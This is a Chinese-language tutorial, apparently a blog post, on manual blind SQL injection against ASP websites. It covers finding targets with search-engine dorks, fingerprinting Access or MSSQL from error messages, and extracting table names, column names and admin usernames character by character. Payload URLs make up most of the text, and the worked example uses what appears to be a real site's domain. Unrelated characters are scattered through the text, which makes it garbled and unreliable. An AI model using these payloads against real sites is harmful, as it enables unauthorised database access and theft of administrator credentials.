判斷是否存在注入
找到一個類似于http://www.xxx.com/xx.asp?id=xxxx的URL后(用Google Hack搜索)占卧,加 ‘ (單引號)清焕,報錯间涵,則該網(wǎng)站可能就存在注入漏洞了任内,然后分為 提交 http://www.xxx.com/xx.asp?id=xxxx and 1=1和http://www.xxx.com/xx.asp?id=xxxx and 1=2 如果它們兩返回的頁面不同就說明存在注入漏洞
判斷后臺數(shù)據(jù)庫的類型
http://www.xxx.com/xx.asp?id=xxxx and user>0
如果是ACCESS數(shù)據(jù)庫揍很,就會在返回的錯誤里面含有“Microsoft JEF Database”關(guān)鍵字
image.png
如果是MSSQL數(shù)據(jù)庫,就會在返回的錯誤提示里面含有“SQL Sever”關(guān)鍵字
image.png
猜解表名
http://www.xxx.com/xx.asp?id=xxxx and exists (select * from 表名)
或
http://www.xxx.com/xx.asp?id=xxxx and exists (select count from 表名)
若頁面返回正常辆雾,則說明存在這個表
猜解列名
http://www.xxx.com/xx.asp?id=xxxx and exists (select 列名 from 表名)
或
http://www.xxx.com/xx.asp?id=xxxx and exists (select count(列名) from 表名)
若頁面返回正常肪笋,則說明存在這個列
猜解列的長度
http://www.xxx.com/xx.asp?id=xxxx and (select top 1 len(列名) from 表名) > x
其中x是數(shù)字,我們需要變換這個x就是列的長度值度迂。
例:若提交
http://www.xxx.com/xx.asp?id=xxxx and (select top 1 len(adminname) from config)>1藤乙、>2、>3惭墓、>4都返回正常坛梁,
猜到>5時出現(xiàn)錯誤提示,說明列的長度為5
注:變換top后的數(shù)字就可以猜解這個列的第N行長度
http://www.xxx.com/xx.asp?id=xxxx and (select top N len(adminname) from config)>x
這就是猜解adminname列的第N行長度
猜解列的內(nèi)容
介紹兩個函數(shù):
Mid函數(shù):Mid(列名,N,1)函數(shù)截取第N位字符
ASC函數(shù):ASC(Mid(列名,N,1))函數(shù)得到第N位字符的ASCII碼
http://www.xxx.com/xx.asp?id=xxxx and (select top 1 asc(mid(列名,列數(shù)N,1)) from 表名) > x
注:1. top后的數(shù)字為該列的第N行腊凶,x為ASCII碼划咐,列數(shù)N就是在這一列中的第幾個數(shù)字
例:如果提交
http://www.cctv5.com.cn/TVPLAY.ASP?id=7 and (select top 1 asc(mid(adminname,1,1)) from config) >50,返回正常钧萍,
提交>100返回正常褐缠,提交>80返回正常,提交>96返回正常风瘦,提交>97返回錯誤队魏,所以adminname列的第一行記錄中的第一個字母的ASCII碼為97,也就是字母a